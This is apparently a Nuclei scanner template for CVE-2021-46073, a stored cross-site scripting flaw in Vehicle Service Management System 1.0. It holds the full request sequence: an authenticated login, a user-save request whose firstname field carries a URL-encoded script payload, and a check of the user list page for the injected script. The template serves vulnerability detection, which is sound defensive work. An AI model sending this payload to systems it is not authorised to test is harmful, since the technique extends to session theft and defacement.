Vehicle Service Management System 1.0 - Cross Site Scripting

id: CVE-2021-46073

info:
  name: Vehicle Service Management System 1.0 - Cross Site Scripting
  author: TenBird
  severity: medium
  description: |
    Vehicle Service Management System 1.0 contains a cross-site scripting vulnerability via the User List section in login panel.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/plsanu/Vehicle-Service-Management-System-User-List-Stored-Cross-Site-Scripting-XSS
    - https://www.plsanu.com/vehicle-service-management-system-user-list-stored-cross-site-scripting-xss
    - https://www.sourcecodester.com/php/14972/vehicle-service-management-system-php-free-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46073
    - https://github.com/SYRTI/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2021-46073
    cwe-id: CWE-79
    epss-score: 0.0278
    epss-percentile: 0.86493
    cpe: cpe:2.3:a:vehicle_service_management_system_project:vehicle_service_management_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: vehicle_service_management_system_project
    product: vehicle_service_management_system
  tags: cve2021,cve,xss,vms,authenticated,vehicle_service_management_system_project,vuln

http:
  - raw:
      - |
        POST /vehicle_service/classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{username}}&password={{password}}
      - |
        POST /vehicle_service/classes/Users.php?f=save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        firstname=test1%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&lastname=test&username=test&password=test&type=1
      - |
        GET /vehicle_service/admin/?page=user/list HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(header_3, 'text/html')"
          - "status_code_3 == 200"
          - 'contains(body_3, "<script>alert(document.domain)</script> Test</td>")'
        condition: and